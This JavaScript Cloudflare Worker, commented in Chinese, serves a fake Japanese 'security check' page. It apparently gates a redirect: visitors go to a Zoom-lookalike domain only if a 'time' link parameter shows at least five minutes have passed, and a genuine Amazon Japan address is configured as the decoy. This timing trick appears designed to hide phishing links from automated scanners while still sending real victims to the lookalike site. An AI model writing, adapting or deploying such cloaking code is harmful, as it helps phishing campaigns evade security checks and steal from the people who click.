// Cloudflare Worker 完整代码 - 带5分钟验证 + 机器人检测 export default { async fetch(request) { const url = new URL(request.url); const timeParam = url.searchParams.get('time'); // ========================================== // 配置区域 // ========================================== const TARGET_URL = "https://www.zoomroomoffice.com/index"; const AMAZON_URL = "https://www.amazon.co.jp/"; const FIVE_MINUTES_MS = 5 * 60 * 1000; // ========================================== function parseDateTime(dateTimeStr) { if (!dateTimeStr) return null; dateTimeStr = decodeURIComponent(dateTimeStr).trim(); if (dateTimeStr.match(/{{.*}}/)) return null; let date = new Date(dateTimeStr.replace(' ', 'T')); if (isNaN(date.getTime())) { const parts = dateTimeStr.match(/(\d{4})-(\d{2})-(\d{2})\s+(\d{2}):(\d{2}):(\d{2})/); if (parts) { date = new Date(Date.UTC( parseInt(parts[1], 10), parseInt(parts[2], 10) - 1, parseInt(parts[3], 10), parseInt(parts[4], 10), parseInt(parts[5], 10), parseInt(parts[6], 10) )); date.setTime(date.getTime() + (9 * 60 * 60 * 1000)); } } return !isNaN(date.getTime()) ? date.getTime() : null; } function isAfterFiveMinutes(sendTimeMs) { return (Date.now() - sendTimeMs) >= FIVE_MINUTES_MS; } let sendTime = timeParam ? parseDateTime(timeParam) : null; let shouldRedirectToTarget = sendTime !== null && isAfterFiveMinutes(sendTime); const html = ` 安全確認 - セキュリティセンター
アクセス環境の安全性を確認しています...
セキュリティチェック中、しばらくお待ちください...
`; return new Response(html, { headers: { 'Content-Type': 'text/html; charset=UTF-8', 'Cache-Control': 'no-cache, no-store, must-revalidate' } }); } }